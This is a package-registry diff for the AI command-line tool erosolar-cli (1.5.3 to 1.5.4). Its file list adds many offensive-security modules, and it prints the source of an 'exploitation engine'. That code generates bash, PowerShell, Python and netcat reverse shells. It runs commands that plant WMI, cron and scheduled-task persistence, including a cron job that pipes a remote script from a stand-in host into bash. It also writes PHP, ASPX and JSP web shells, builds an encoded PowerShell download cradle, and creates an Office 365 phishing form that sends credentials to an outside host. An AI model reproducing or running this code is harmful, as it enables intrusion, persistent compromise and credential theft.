erosolar-cli 1.5.3 → 1.5.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/config/security-deployment.json +54 -0
- package/dist/bin/adapters/node/index.js +33 -0
- package/dist/bin/adapters/types.js +1 -0
- package/dist/bin/alpha-zero/agentWrapper.js +165 -0
- package/dist/bin/alpha-zero/codeEvaluator.js +272 -0
- package/dist/bin/alpha-zero/competitiveRunner.js +219 -0
- package/dist/bin/alpha-zero/index.js +98 -0
- package/dist/bin/alpha-zero/introspection.js +298 -0
- package/dist/bin/alpha-zero/metricsTracker.js +207 -0
- package/dist/bin/alpha-zero/security/core.js +269 -0
- package/dist/bin/alpha-zero/security/google.js +308 -0
- package/dist/bin/alpha-zero/security/googleLoader.js +40 -0
- package/dist/bin/alpha-zero/security/index.js +31 -0
- package/dist/bin/alpha-zero/security/simulation.js +274 -0
- package/dist/bin/alpha-zero/selfModification.js +231 -0
- package/dist/bin/alpha-zero/types.js +30 -0
- package/dist/bin/bin/erosolar-optimized.js +205 -0
- package/dist/bin/capabilities/agentSpawningCapability.js +116 -0
- package/dist/bin/capabilities/bashCapability.js +22 -0
- package/dist/bin/capabilities/cloudCapability.js +36 -0
- package/dist/bin/capabilities/codeAnalysisCapability.js +22 -0
- package/dist/bin/capabilities/codeQualityCapability.js +23 -0
- package/dist/bin/capabilities/dependencySecurityCapability.js +22 -0
- package/dist/bin/capabilities/devCapability.js +22 -0
- package/dist/bin/capabilities/editCapability.js +28 -0
- package/dist/bin/capabilities/emailCapability.js +20 -0
- package/dist/bin/capabilities/enhancedGitCapability.js +221 -0
- package/dist/bin/capabilities/filesystemCapability.js +22 -0
- package/dist/bin/capabilities/globCapability.js +28 -0
- package/dist/bin/capabilities/interactionCapability.js +20 -0
- package/dist/bin/capabilities/learnCapability.js +22 -0
- package/dist/bin/capabilities/mcpCapability.js +20 -0
- package/dist/bin/capabilities/notebookCapability.js +28 -0
- package/dist/bin/capabilities/planningCapability.js +27 -0
- package/dist/bin/capabilities/refactoringCapability.js +23 -0
- package/dist/bin/capabilities/repoChecksCapability.js +22 -0
- package/dist/bin/capabilities/searchCapability.js +22 -0
- package/dist/bin/capabilities/skillCapability.js +76 -0
- package/dist/bin/capabilities/taskManagementCapability.js +20 -0
- package/dist/bin/capabilities/testingCapability.js +23 -0
- package/dist/bin/capabilities/toolManifest.js +159 -0
- package/dist/bin/capabilities/toolRegistry.js +114 -0
- package/dist/bin/capabilities/webCapability.js +20 -0
- package/dist/bin/config.js +139 -0
- package/dist/bin/contracts/v1/agent.js +7 -0
- package/dist/bin/contracts/v1/agentProfileManifest.js +8 -0
- package/dist/bin/contracts/v1/agentRules.js +9 -0
- package/dist/bin/contracts/v1/toolAccess.js +8 -0
- package/dist/bin/core/agent.js +362 -0
- package/dist/bin/core/agentProfileManifest.js +187 -0
- package/dist/bin/core/agentProfiles.js +34 -0
- package/dist/bin/core/agentRulebook.js +135 -0
- package/dist/bin/core/agentSchemaLoader.js +233 -0
- package/dist/bin/core/contextManager.js +412 -0
- package/dist/bin/core/contextWindow.js +122 -0
- package/dist/bin/core/customCommands.js +80 -0
- package/dist/bin/core/errors/apiKeyErrors.js +114 -0
- package/dist/bin/core/errors/errorTypes.js +340 -0
- package/dist/bin/core/errors/safetyValidator.js +304 -0
- package/dist/bin/core/errors.js +32 -0
- package/dist/bin/core/modelDiscovery.js +755 -0
- package/dist/bin/core/preferences.js +224 -0
- package/dist/bin/core/schemaValidator.js +92 -0
- package/dist/bin/core/secretStore.js +199 -0
- package/dist/bin/core/sessionStore.js +187 -0
- package/dist/bin/core/toolRuntime.js +290 -0
- package/dist/bin/core/types.js +1 -0
- package/dist/bin/erosolar-optimized.d.ts +12 -0
- package/dist/bin/erosolar-optimized.d.ts.map +1 -0
- package/dist/bin/erosolar-optimized.js +239 -0
- package/dist/bin/erosolar-optimized.js.map +1 -0
- package/dist/bin/erosolar.js +14 -0
- package/dist/bin/erosolar.js.map +1 -1
- package/dist/bin/headless/headlessApp.js +172 -0
- package/dist/bin/mcp/config.js +202 -0
- package/dist/bin/mcp/stdioClient.js +172 -0
- package/dist/bin/mcp/toolBridge.js +104 -0
- package/dist/bin/mcp/types.js +1 -0
- package/dist/bin/plugins/index.js +113 -0
- package/dist/bin/plugins/providers/anthropic/index.js +25 -0
- package/dist/bin/plugins/providers/deepseek/index.js +24 -0
- package/dist/bin/plugins/providers/google/index.js +26 -0
- package/dist/bin/plugins/providers/index.js +19 -0
- package/dist/bin/plugins/providers/ollama/index.js +59 -0
- package/dist/bin/plugins/providers/openai/index.js +26 -0
- package/dist/bin/plugins/providers/xai/index.js +24 -0
- package/dist/bin/plugins/tools/agentSpawning/agentSpawningPlugin.js +8 -0
- package/dist/bin/plugins/tools/bash/localBashPlugin.js +13 -0
- package/dist/bin/plugins/tools/checks/localRepoChecksPlugin.js +13 -0
- package/dist/bin/plugins/tools/cloud/cloudPlugin.js +13 -0
- package/dist/bin/plugins/tools/codeAnalysis/codeAnalysisPlugin.js +13 -0
- package/dist/bin/plugins/tools/codeQuality/codeQualityPlugin.js +13 -0
- package/dist/bin/plugins/tools/dependency/dependencyPlugin.js +11 -0
- package/dist/bin/plugins/tools/development/devPlugin.js +13 -0
- package/dist/bin/plugins/tools/edit/editPlugin.js +14 -0
- package/dist/bin/plugins/tools/email/emailPlugin.js +11 -0
- package/dist/bin/plugins/tools/enhancedGit/enhancedGitPlugin.js +8 -0
- package/dist/bin/plugins/tools/filesystem/localFilesystemPlugin.js +13 -0
- package/dist/bin/plugins/tools/glob/globPlugin.js +14 -0
- package/dist/bin/plugins/tools/index.js +2 -0
- package/dist/bin/plugins/tools/interaction/interactionPlugin.js +11 -0
- package/dist/bin/plugins/tools/learn/learnPlugin.js +13 -0
- package/dist/bin/plugins/tools/mcp/mcpPlugin.js +8 -0
- package/dist/bin/plugins/tools/nodeDefaults.js +56 -0
- package/dist/bin/plugins/tools/notebook/notebookPlugin.js +14 -0
- package/dist/bin/plugins/tools/planning/planningPlugin.js +14 -0
- package/dist/bin/plugins/tools/refactoring/refactoringPlugin.js +11 -0
- package/dist/bin/plugins/tools/registry.js +57 -0
- package/dist/bin/plugins/tools/search/localSearchPlugin.js +13 -0
- package/dist/bin/plugins/tools/skills/skillPlugin.js +8 -0
- package/dist/bin/plugins/tools/taskManagement/taskManagementPlugin.js +11 -0
- package/dist/bin/plugins/tools/testing/testingPlugin.js +11 -0
- package/dist/bin/plugins/tools/web/webPlugin.js +11 -0
- package/dist/bin/providers/anthropicProvider.js +329 -0
- package/dist/bin/providers/googleProvider.js +203 -0
- package/dist/bin/providers/openaiChatCompletionsProvider.js +208 -0
- package/dist/bin/providers/openaiResponsesProvider.js +249 -0
- package/dist/bin/providers/providerFactory.js +24 -0
- package/dist/bin/runtime/agentController.js +321 -0
- package/dist/bin/runtime/agentHost.js +153 -0
- package/dist/bin/runtime/agentSession.js +195 -0
- package/dist/bin/runtime/node.js +10 -0
- package/dist/bin/runtime/universal.js +28 -0
- package/dist/bin/shell/bracketedPasteManager.js +350 -0
- package/dist/bin/shell/fileChangeTracker.js +65 -0
- package/dist/bin/shell/interactiveShell.js +2908 -0
- package/dist/bin/shell/liveStatus.js +78 -0
- package/dist/bin/shell/shellApp.js +290 -0
- package/dist/bin/shell/systemPrompt.js +60 -0
- package/dist/bin/shell/updateManager.js +108 -0
- package/dist/bin/skills/skillRepository.js +236 -0
- package/dist/bin/skills/types.js +1 -0
- package/dist/bin/subagents/taskRunner.js +269 -0
- package/dist/bin/tools/backgroundBashTools.js +211 -0
- package/dist/bin/tools/bashTools.js +159 -0
- package/dist/bin/tools/cloudTools.js +864 -0
- package/dist/bin/tools/codeAnalysisTools.js +641 -0
- package/dist/bin/tools/codeQualityTools.js +294 -0
- package/dist/bin/tools/dependencyTools.js +282 -0
- package/dist/bin/tools/devTools.js +238 -0
- package/dist/bin/tools/diffUtils.js +137 -0
- package/dist/bin/tools/editTools.js +134 -0
- package/dist/bin/tools/emailTools.js +448 -0
- package/dist/bin/tools/fileTools.js +282 -0
- package/dist/bin/tools/globTools.js +173 -0
- package/dist/bin/tools/grepTools.js +332 -0
- package/dist/bin/tools/interactionTools.js +170 -0
- package/dist/bin/tools/learnTools.js +1818 -0
- package/dist/bin/tools/notebookEditTools.js +196 -0
- package/dist/bin/tools/planningTools.js +46 -0
- package/dist/bin/tools/refactoringTools.js +293 -0
- package/dist/bin/tools/repoChecksTools.js +160 -0
- package/dist/bin/tools/searchTools.js +206 -0
- package/dist/bin/tools/skillTools.js +177 -0
- package/dist/bin/tools/taskManagementTools.js +156 -0
- package/dist/bin/tools/testingTools.js +232 -0
- package/dist/bin/tools/webTools.js +480 -0
- package/dist/bin/ui/ShellUIAdapter.js +459 -0
- package/dist/bin/ui/UnifiedUIController.js +183 -0
- package/dist/bin/ui/animation/AnimationScheduler.js +430 -0
- package/dist/bin/ui/codeHighlighter.js +854 -0
- package/dist/bin/ui/designSystem.js +121 -0
- package/dist/bin/ui/display.js +1222 -0
- package/dist/bin/ui/interrupts/InterruptManager.js +437 -0
- package/dist/bin/ui/layout.js +139 -0
- package/dist/bin/ui/orchestration/StatusOrchestrator.js +403 -0
- package/dist/bin/ui/outputMode.js +38 -0
- package/dist/bin/ui/persistentPrompt.js +183 -0
- package/dist/bin/ui/richText.js +338 -0
- package/dist/bin/ui/shortcutsHelp.js +87 -0
- package/dist/bin/ui/telemetry/UITelemetry.js +443 -0
- package/dist/bin/ui/textHighlighter.js +210 -0
- package/dist/bin/ui/theme.js +116 -0
- package/dist/bin/ui/toolDisplay.js +423 -0
- package/dist/bin/ui/toolDisplayAdapter.js +357 -0
- package/dist/bin/workspace.js +106 -0
- package/dist/bin/workspace.validator.js +213 -0
- package/dist/capabilities/offensiveSecurityCapability.d.ts +26 -0
- package/dist/capabilities/offensiveSecurityCapability.d.ts.map +1 -0
- package/dist/capabilities/offensiveSecurityCapability.js +58 -0
- package/dist/capabilities/offensiveSecurityCapability.js.map +1 -0
- package/dist/capabilities/realSecurityCapability.d.ts +26 -0
- package/dist/capabilities/realSecurityCapability.d.ts.map +1 -0
- package/dist/capabilities/realSecurityCapability.js +53 -0
- package/dist/capabilities/realSecurityCapability.js.map +1 -0
- package/dist/capabilities/securityCapability.d.ts +32 -0
- package/dist/capabilities/securityCapability.d.ts.map +1 -0
- package/dist/capabilities/securityCapability.js +57 -0
- package/dist/capabilities/securityCapability.js.map +1 -0
- package/dist/capabilities/ultimateSecurityCapability.d.ts +42 -0
- package/dist/capabilities/ultimateSecurityCapability.d.ts.map +1 -0
- package/dist/capabilities/ultimateSecurityCapability.js +96 -0
- package/dist/capabilities/ultimateSecurityCapability.js.map +1 -0
- package/dist/core/LazyLoader.d.ts +129 -0
- package/dist/core/LazyLoader.d.ts.map +1 -0
- package/dist/core/LazyLoader.js +240 -0
- package/dist/core/LazyLoader.js.map +1 -0
- package/dist/core/intelligenceTools.d.ts +19 -0
- package/dist/core/intelligenceTools.d.ts.map +1 -0
- package/dist/core/intelligenceTools.js +453 -0
- package/dist/core/intelligenceTools.js.map +1 -0
- package/dist/core/operationalTools.d.ts +19 -0
- package/dist/core/operationalTools.d.ts.map +1 -0
- package/dist/core/operationalTools.js +467 -0
- package/dist/core/operationalTools.js.map +1 -0
- package/dist/offensive/core/offensive-engine.d.ts +171 -0
- package/dist/offensive/core/offensive-engine.d.ts.map +1 -0
- package/dist/offensive/core/offensive-engine.js +345 -0
- package/dist/offensive/core/offensive-engine.js.map +1 -0
- package/dist/offensive/core/offensive-integration.d.ts +129 -0
- package/dist/offensive/core/offensive-integration.d.ts.map +1 -0
- package/dist/offensive/core/offensive-integration.js +364 -0
- package/dist/offensive/core/offensive-integration.js.map +1 -0
- package/dist/offensive/core/offensive-tools.d.ts +55 -0
- package/dist/offensive/core/offensive-tools.d.ts.map +1 -0
- package/dist/offensive/core/offensive-tools.js +438 -0
- package/dist/offensive/core/offensive-tools.js.map +1 -0
- package/dist/offensive/offensive-cli.d.ts +48 -0
- package/dist/offensive/offensive-cli.d.ts.map +1 -0
- package/dist/offensive/offensive-cli.js +233 -0
- package/dist/offensive/offensive-cli.js.map +1 -0
- package/dist/plugins/index.d.ts +1 -1
- package/dist/plugins/index.d.ts.map +1 -1
- package/dist/plugins/index.js +2 -0
- package/dist/plugins/index.js.map +1 -1
- package/dist/security/advanced-persistence-research.d.ts +92 -0
- package/dist/security/advanced-persistence-research.d.ts.map +1 -0
- package/dist/security/advanced-persistence-research.js +195 -0
- package/dist/security/advanced-persistence-research.js.map +1 -0
- package/dist/security/apt-simulation-cli.d.ts +57 -0
- package/dist/security/apt-simulation-cli.d.ts.map +1 -0
- package/dist/security/apt-simulation-cli.js +278 -0
- package/dist/security/apt-simulation-cli.js.map +1 -0
- package/dist/security/apt-simulation-engine-complete.d.ts +97 -0
- package/dist/security/apt-simulation-engine-complete.d.ts.map +1 -0
- package/dist/security/apt-simulation-engine-complete.js +441 -0
- package/dist/security/apt-simulation-engine-complete.js.map +1 -0
- package/dist/security/apt-simulation-engine.d.ts +97 -0
- package/dist/security/apt-simulation-engine.d.ts.map +1 -0
- package/dist/security/apt-simulation-engine.js +441 -0
- package/dist/security/apt-simulation-engine.js.map +1 -0
- package/dist/security/assessment/vulnerabilityAssessment.d.ts +104 -0
- package/dist/security/assessment/vulnerabilityAssessment.d.ts.map +1 -0
- package/dist/security/assessment/vulnerabilityAssessment.js +315 -0
- package/dist/security/assessment/vulnerabilityAssessment.js.map +1 -0
- package/dist/security/authorization/securityAuthorization.d.ts +88 -0
- package/dist/security/authorization/securityAuthorization.d.ts.map +1 -0
- package/dist/security/authorization/securityAuthorization.js +172 -0
- package/dist/security/authorization/securityAuthorization.js.map +1 -0
- package/dist/security/authorization.d.ts +45 -0
- package/dist/security/authorization.d.ts.map +1 -0
- package/dist/security/authorization.js +128 -0
- package/dist/security/authorization.js.map +1 -0
- package/dist/security/comprehensive-security-research.d.ts +84 -0
- package/dist/security/comprehensive-security-research.d.ts.map +1 -0
- package/dist/security/comprehensive-security-research.js +211 -0
- package/dist/security/comprehensive-security-research.js.map +1 -0
- package/dist/security/offensive/exploitationEngine.d.ts +54 -0
- package/dist/security/offensive/exploitationEngine.d.ts.map +1 -0
- package/dist/security/offensive/exploitationEngine.js +263 -0
- package/dist/security/offensive/exploitationEngine.js.map +1 -0
- package/dist/security/persistence-cli.d.ts +36 -0
- package/dist/security/persistence-cli.d.ts.map +1 -0
- package/dist/security/persistence-cli.js +160 -0
- package/dist/security/persistence-cli.js.map +1 -0
- package/dist/security/persistence-research.d.ts +11 -0
- package/dist/security/persistence-research.d.ts.map +1 -1
- package/dist/security/persistence-research.js +11 -0
- package/dist/security/persistence-research.js.map +1 -1
- package/dist/security/real/networkExploitation.d.ts +92 -0
- package/dist/security/real/networkExploitation.d.ts.map +1 -0
- package/dist/security/real/networkExploitation.js +316 -0
- package/dist/security/real/networkExploitation.js.map +1 -0
- package/dist/security/real/persistenceImplementation.d.ts +62 -0
- package/dist/security/real/persistenceImplementation.d.ts.map +1 -0
- package/dist/security/real/persistenceImplementation.js +323 -0
- package/dist/security/real/persistenceImplementation.js.map +1 -0
- package/dist/security/real/vulnerabilityScanner.d.ts +73 -0
- package/dist/security/real/vulnerabilityScanner.d.ts.map +1 -0
- package/dist/security/real/vulnerabilityScanner.js +341 -0
- package/dist/security/real/vulnerabilityScanner.js.map +1 -0
- package/dist/security/research/persistenceResearch.d.ts +97 -0
- package/dist/security/research/persistenceResearch.d.ts.map +1 -0
- package/dist/security/research/persistenceResearch.js +282 -0
- package/dist/security/research/persistenceResearch.js.map +1 -0
- package/dist/security/security-testing-framework.d.ts +120 -0
- package/dist/security/security-testing-framework.d.ts.map +1 -0
- package/dist/security/security-testing-framework.js +372 -0
- package/dist/security/security-testing-framework.js.map +1 -0
- package/dist/security/simulation/attackSimulation.d.ts +93 -0
- package/dist/security/simulation/attackSimulation.d.ts.map +1 -0
- package/dist/security/simulation/attackSimulation.js +341 -0
- package/dist/security/simulation/attackSimulation.js.map +1 -0
- package/dist/shell/bracketedPasteManager.d.ts +33 -0
- package/dist/shell/bracketedPasteManager.d.ts.map +1 -1
- package/dist/shell/bracketedPasteManager.js +101 -0
- package/dist/shell/bracketedPasteManager.js.map +1 -1
- package/dist/shell/interactiveShell.d.ts +22 -1
- package/dist/shell/interactiveShell.d.ts.map +1 -1
- package/dist/shell/interactiveShell.js +257 -24
- package/dist/shell/interactiveShell.js.map +1 -1
- package/dist/shell/taskCompletionDetector.d.ts +101 -0
- package/dist/shell/taskCompletionDetector.d.ts.map +1 -0
- package/dist/shell/taskCompletionDetector.js +343 -0
- package/dist/shell/taskCompletionDetector.js.map +1 -0
- package/dist/tools/cloudTools.d.ts +11 -0
- package/dist/tools/cloudTools.d.ts.map +1 -1
- package/dist/tools/cloudTools.js +11 -0
- package/dist/tools/cloudTools.js.map +1 -1
- package/dist/tools/enhancedSecurityTools.d.ts +19 -0
- package/dist/tools/enhancedSecurityTools.d.ts.map +1 -0
- package/dist/tools/enhancedSecurityTools.js +215 -0
- package/dist/tools/enhancedSecurityTools.js.map +1 -0
- package/dist/tools/offensiveSecurityTools.d.ts +16 -0
- package/dist/tools/offensiveSecurityTools.d.ts.map +1 -0
- package/dist/tools/offensiveSecurityTools.js +285 -0
- package/dist/tools/offensiveSecurityTools.js.map +1 -0
- package/dist/tools/realSecurityTools.d.ts +18 -0
- package/dist/tools/realSecurityTools.d.ts.map +1 -0
- package/dist/tools/realSecurityTools.js +468 -0
- package/dist/tools/realSecurityTools.js.map +1 -0
- package/dist/tools/securityTools.d.ts +20 -0
- package/dist/tools/securityTools.d.ts.map +1 -0
- package/dist/tools/securityTools.js +449 -0
- package/dist/tools/securityTools.js.map +1 -0
- package/package.json +27 -12
- package/scripts/deploy-security-capabilities.js +178 -0
|
@@ -0,0 +1,263 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Offensive Exploitation Engine
|
|
3
|
+
*
|
|
4
|
+
* Advanced exploitation capabilities for security testing.
|
|
5
|
+
*/
|
|
6
|
+
import { execSync } from 'child_process';
|
|
7
|
+
import { writeFileSync } from 'fs';
|
|
8
|
+
import { platform } from 'os';
|
|
9
|
+
/**
|
|
10
|
+
* Offensive Exploitation Engine
|
|
11
|
+
*/
|
|
12
|
+
export class OffensiveExploitationEngine {
|
|
13
|
+
/**
|
|
14
|
+
* Generate reverse shell payloads
|
|
15
|
+
*/
|
|
16
|
+
generateReverseShell(target, port) {
|
|
17
|
+
const payloads = [];
|
|
18
|
+
// Bash reverse shell
|
|
19
|
+
payloads.push({
|
|
20
|
+
type: 'bash-reverse-shell',
|
|
21
|
+
platform: 'linux',
|
|
22
|
+
content: `bash -i >& /dev/tcp/${target}/${port} 0>&1`
|
|
23
|
+
});
|
|
24
|
+
// PowerShell reverse shell
|
|
25
|
+
payloads.push({
|
|
26
|
+
type: 'powershell-reverse-shell',
|
|
27
|
+
platform: 'windows',
|
|
28
|
+
content: `$client = New-Object System.Net.Sockets.TCPClient('${target}',${port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()`
|
|
29
|
+
});
|
|
30
|
+
// Python reverse shell
|
|
31
|
+
payloads.push({
|
|
32
|
+
type: 'python-reverse-shell',
|
|
33
|
+
platform: 'cross-platform',
|
|
34
|
+
content: `import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('${target}',${port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);`
|
|
35
|
+
});
|
|
36
|
+
// Netcat reverse shell
|
|
37
|
+
payloads.push({
|
|
38
|
+
type: 'netcat-reverse-shell',
|
|
39
|
+
platform: 'linux',
|
|
40
|
+
content: `nc -e /bin/sh ${target} ${port}`
|
|
41
|
+
});
|
|
42
|
+
return payloads;
|
|
43
|
+
}
|
|
44
|
+
/**
|
|
45
|
+
* Create fileless persistence
|
|
46
|
+
*/
|
|
47
|
+
async createFilelessPersistence() {
|
|
48
|
+
try {
|
|
49
|
+
const currentPlatform = platform();
|
|
50
|
+
if (currentPlatform === 'win32') {
|
|
51
|
+
// Windows WMI event subscription
|
|
52
|
+
const wmiScript = `$FilterArgs = @{Name='TestFilter'; EventNameSpace='root\\cimv2'; QueryLanguage='WQL'; Query='SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name=\"explorer.exe\"'}; $Filter=Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments $FilterArgs; $ConsumerArgs = @{Name='TestConsumer'; CommandLineTemplate='cmd.exe /c echo persistence > C:\\temp\\test.txt'}; $Consumer=Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments $ConsumerArgs; $BindingArgs = @{Filter=$Filter; Consumer=$Consumer}; $Binding=Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments $BindingArgs`;
|
|
53
|
+
execSync(`powershell -Command "${wmiScript}"`, { stdio: 'pipe' });
|
|
54
|
+
return {
|
|
55
|
+
success: true,
|
|
56
|
+
output: 'WMI event subscription created for fileless persistence',
|
|
57
|
+
evidence: 'WMI event filter and consumer created',
|
|
58
|
+
technique: 'wmi-event-subscription'
|
|
59
|
+
};
|
|
60
|
+
}
|
|
61
|
+
else {
|
|
62
|
+
// Linux memory execution via cron
|
|
63
|
+
const cronEntry = `* * * * * curl -s http://example.com/malicious.sh | bash -s`;
|
|
64
|
+
execSync(`(crontab -l 2>/dev/null; echo "${cronEntry}") | crontab -`, { stdio: 'pipe' });
|
|
65
|
+
return {
|
|
66
|
+
success: true,
|
|
67
|
+
output: 'Fileless persistence via cron created',
|
|
68
|
+
evidence: 'Cron job added for memory execution',
|
|
69
|
+
technique: 'cron-memory-execution'
|
|
70
|
+
};
|
|
71
|
+
}
|
|
72
|
+
}
|
|
73
|
+
catch (error) {
|
|
74
|
+
return {
|
|
75
|
+
success: false,
|
|
76
|
+
output: `Fileless persistence failed: ${error}`,
|
|
77
|
+
evidence: '',
|
|
78
|
+
technique: 'fileless-persistence'
|
|
79
|
+
};
|
|
80
|
+
}
|
|
81
|
+
}
|
|
82
|
+
/**
|
|
83
|
+
* Deploy web shell
|
|
84
|
+
*/
|
|
85
|
+
async deployWebShell(targetPath, password = 'pass123') {
|
|
86
|
+
try {
|
|
87
|
+
// PHP web shell
|
|
88
|
+
const phpWebShell = `<?php if(isset($_POST['${password}'])){system($_POST['${password}']);}?>`;
|
|
89
|
+
// ASP web shell
|
|
90
|
+
const aspWebShell = `<%@ Page Language="C#" %><%@ Import Namespace="System.Diagnostics" %><script runat="server">void Page_Load(object sender, EventArgs e){if(Request.Form["${password}"] != null){Process.Start("cmd.exe", "/c " + Request.Form["${password}"]);}}</script>`;
|
|
91
|
+
// JSP web shell
|
|
92
|
+
const jspWebShell = `<%@ page import="java.util.*,java.io.*"%><% if (request.getParameter("${password}") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("${password}")); } %>`;
|
|
93
|
+
// Write web shell
|
|
94
|
+
writeFileSync(`${targetPath}/shell.php`, phpWebShell);
|
|
95
|
+
writeFileSync(`${targetPath}/shell.aspx`, aspWebShell);
|
|
96
|
+
writeFileSync(`${targetPath}/shell.jsp`, jspWebShell);
|
|
97
|
+
return {
|
|
98
|
+
success: true,
|
|
99
|
+
output: 'Multiple web shells deployed',
|
|
100
|
+
evidence: `Web shells created at ${targetPath}`,
|
|
101
|
+
technique: 'web-shell-deployment'
|
|
102
|
+
};
|
|
103
|
+
}
|
|
104
|
+
catch (error) {
|
|
105
|
+
return {
|
|
106
|
+
success: false,
|
|
107
|
+
output: `Web shell deployment failed: ${error}`,
|
|
108
|
+
evidence: '',
|
|
109
|
+
technique: 'web-shell-deployment'
|
|
110
|
+
};
|
|
111
|
+
}
|
|
112
|
+
}
|
|
113
|
+
/**
|
|
114
|
+
* Create persistence via scheduled tasks
|
|
115
|
+
*/
|
|
116
|
+
async createScheduledPersistence() {
|
|
117
|
+
try {
|
|
118
|
+
const currentPlatform = platform();
|
|
119
|
+
if (currentPlatform === 'win32') {
|
|
120
|
+
// Windows scheduled task
|
|
121
|
+
const taskCommand = `schtasks /create /tn "SystemUpdate" /tr "cmd.exe /c echo persistence > C:\\temp\\persistence.txt" /sc minute /mo 1`;
|
|
122
|
+
execSync(taskCommand, { stdio: 'pipe' });
|
|
123
|
+
return {
|
|
124
|
+
success: true,
|
|
125
|
+
output: 'Scheduled task created for persistence',
|
|
126
|
+
evidence: 'SystemUpdate task created',
|
|
127
|
+
technique: 'scheduled-task-persistence'
|
|
128
|
+
};
|
|
129
|
+
}
|
|
130
|
+
else {
|
|
131
|
+
// Linux at job
|
|
132
|
+
const atCommand = `echo 'echo "persistence" > /tmp/persistence.txt' | at now + 1 minute`;
|
|
133
|
+
execSync(atCommand, { stdio: 'pipe' });
|
|
134
|
+
return {
|
|
135
|
+
success: true,
|
|
136
|
+
output: 'At job created for persistence',
|
|
137
|
+
evidence: 'At job scheduled',
|
|
138
|
+
technique: 'at-job-persistence'
|
|
139
|
+
};
|
|
140
|
+
}
|
|
141
|
+
}
|
|
142
|
+
catch (error) {
|
|
143
|
+
return {
|
|
144
|
+
success: false,
|
|
145
|
+
output: `Scheduled persistence failed: ${error}`,
|
|
146
|
+
evidence: '',
|
|
147
|
+
technique: 'scheduled-persistence'
|
|
148
|
+
};
|
|
149
|
+
}
|
|
150
|
+
}
|
|
151
|
+
/**
|
|
152
|
+
* Generate obfuscated payloads
|
|
153
|
+
*/
|
|
154
|
+
generateObfuscatedPayloads() {
|
|
155
|
+
const payloads = [];
|
|
156
|
+
// Base64 encoded PowerShell
|
|
157
|
+
const base64PowerShell = 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AZQB4AGEAbQBwAGwAZQAuAGMAbwBtAC8AcABhAHkAbABvAGEAZAAuAHAAcwAxACcAKQA=';
|
|
158
|
+
payloads.push({
|
|
159
|
+
type: 'base64-powershell',
|
|
160
|
+
platform: 'windows',
|
|
161
|
+
content: `powershell -EncodedCommand ${base64PowerShell}`
|
|
162
|
+
});
|
|
163
|
+
// XOR encoded shellcode
|
|
164
|
+
const xorShellcode = '\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a';
|
|
165
|
+
payloads.push({
|
|
166
|
+
type: 'xor-shellcode',
|
|
167
|
+
platform: 'linux',
|
|
168
|
+
content: `echo -ne '${xorShellcode}' > /tmp/shellcode.bin`
|
|
169
|
+
});
|
|
170
|
+
// JavaScript obfuscation
|
|
171
|
+
const obfuscatedJS = `eval(String.fromCharCode(97,108,101,114,116,40,34,88,83,83,34,41))`;
|
|
172
|
+
payloads.push({
|
|
173
|
+
type: 'obfuscated-js',
|
|
174
|
+
platform: 'cross-platform',
|
|
175
|
+
content: obfuscatedJS
|
|
176
|
+
});
|
|
177
|
+
return payloads;
|
|
178
|
+
}
|
|
179
|
+
/**
|
|
180
|
+
* Create DNS tunneling setup
|
|
181
|
+
*/
|
|
182
|
+
async setupDnsTunneling(domain) {
|
|
183
|
+
try {
|
|
184
|
+
// Create DNS tunneling configuration
|
|
185
|
+
const dnsConfig = `server=8.8.8.8\naddress=/${domain}/127.0.0.1`;
|
|
186
|
+
writeFileSync('/tmp/dnsmasq.conf', dnsConfig);
|
|
187
|
+
return {
|
|
188
|
+
success: true,
|
|
189
|
+
output: 'DNS tunneling configuration created',
|
|
190
|
+
evidence: `DNS config for domain ${domain}`,
|
|
191
|
+
technique: 'dns-tunneling'
|
|
192
|
+
};
|
|
193
|
+
}
|
|
194
|
+
catch (error) {
|
|
195
|
+
return {
|
|
196
|
+
success: false,
|
|
197
|
+
output: `DNS tunneling setup failed: ${error}`,
|
|
198
|
+
evidence: '',
|
|
199
|
+
technique: 'dns-tunneling'
|
|
200
|
+
};
|
|
201
|
+
}
|
|
202
|
+
}
|
|
203
|
+
/**
|
|
204
|
+
* Generate phishing templates
|
|
205
|
+
*/
|
|
206
|
+
generatePhishingTemplates() {
|
|
207
|
+
const templates = [];
|
|
208
|
+
// Office 365 phishing
|
|
209
|
+
const office365Template = `<!DOCTYPE html><html><body><form action="http://malicious.com/collect" method="post"><input type="email" name="username" placeholder="Email"><input type="password" name="password" placeholder="Password"><button>Sign In</button></form></body></html>`;
|
|
210
|
+
templates.push({
|
|
211
|
+
type: 'office365-phishing',
|
|
212
|
+
platform: 'web',
|
|
213
|
+
content: office365Template
|
|
214
|
+
});
|
|
215
|
+
// Gmail phishing
|
|
216
|
+
